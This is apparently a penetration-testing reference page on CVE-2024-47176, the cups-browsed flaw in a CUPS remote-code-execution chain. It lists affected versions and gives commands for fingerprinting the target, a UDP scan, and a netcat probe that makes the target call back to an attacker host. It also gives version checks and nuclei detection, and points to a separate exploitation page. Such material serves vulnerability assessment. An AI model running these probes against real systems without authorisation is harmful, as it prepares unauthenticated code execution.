# CUPS RCE — CVE-2024-47176

- **URL:** https://hackindex.io/services/ipp-cups/vulnerability-discovery/cups-rce-cve-2024-47176
- **Path:** IPP / CUPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/ipp-cups/vulnerability-discovery.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

CVE-2024-47176 is part of a four-CVE chain disclosed in September 2024 that enables unauthenticated remote code execution on systems running cups-browsed. The attack works by sending a crafted UDP packet to port 631 that causes cups-browsed to connect back to an attacker-controlled IPP server. The malicious IPP server advertises a printer with a crafted PPD file containing a command injection payload. When a user or automated process triggers a print job on the malicious printer, the injected command executes as the lp or cups user. The full chain requires CVE-2024-47176 (cups-browsed), CVE-2024-47076 (libcupsfilters), CVE-2024-47175 (libcups), and CVE-2024-47177 (cups-filters).

- Affected Versions
- Prerequisites Check
- Version Check via SSH or Local Access
- Nuclei Detection

## Affected Versions

| Component | Vulnerable | Fixed in |
| --- | --- | --- |
| cups-browsed | All versions before 2.0.1 | 2.0.1 |
| CUPS | Before 2.4.11 | 2.4.11 |
| libcupsfilters | Before 2.1.0 | 2.1.0 |
| cups-filters | Before 2.0.1 | 2.0.1 |

## Prerequisites Check

Three conditions must be true for the attack to work:

```bash
# 1. Confirm CUPS version
curl -sk http://$TARGET_IP:631/ | grep -i cups
# <title>Home - CUPS 2.4.2</title>
```

```bash
# 2. Confirm UDP 631 is reachable (cups-browsed listener)
sudo nmap -sU -p 631 $TARGET_IP --open
# 631/udp open  ipp
```

```bash
# 3. Confirm cups-browsed callback reaches your host: send probe packet and listen
sudo nc -lvnup 631 &
echo -e '0 3 http://$LHOST:631/printers/probe' | nc -u $TARGET_IP 631
# cups-browsed will attempt to connect back to $LHOST:631
# Connection from 10.10.10.50:631
# GET /printers/probe HTTP/1.1
```

An inbound HTTP GET from the target to your host confirms cups-browsed is running, is reachable via UDP 631, and will follow attacker-controlled URLs. All prerequisites are met. Move to [CUPS malicious printer RCE](https://hackindex.io/services/ipp-cups/exploitation/cups-malicious-printer-rce) for the full exploitation chain.

## Version Check via SSH or Local Access

When you have local access or SSH to the target, confirm exact package versions:

```bash
dpkg -l cups cups-browsed libcupsfilters1 cups-filters 2>/dev/null | grep -E '^ii' | awk '{print $2,$3}'
# cups 2.4.2-7ubuntu5
# cups-browsed 2.0.0-0ubuntu4
# libcupsfilters1 1.28.17-3ubuntu2
# cups-filters 1.28.17-3ubuntu2
```

```bash
systemctl is-active cups-browsed && echo 'cups-browsed running'
# active
# cups-browsed running
```

## Nuclei Detection

```bash
nuclei -u http://$TARGET_IP:631/ -tags cve2024-47176,cups -severity critical,high
# [CVE-2024-47176] [critical] http://10.10.10.50:631 [CUPS RCE via cups-browsed]
```

## References

- [Simone Margaritelli: Attacking UNIX systems via CUPS](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/) - Original disclosure and technical analysis of the full CVE-2024-47176 chain
- [cupshax](https://github.com/RickdeJager/cupshax) - CVE-2024-47176 PoC exploitation tool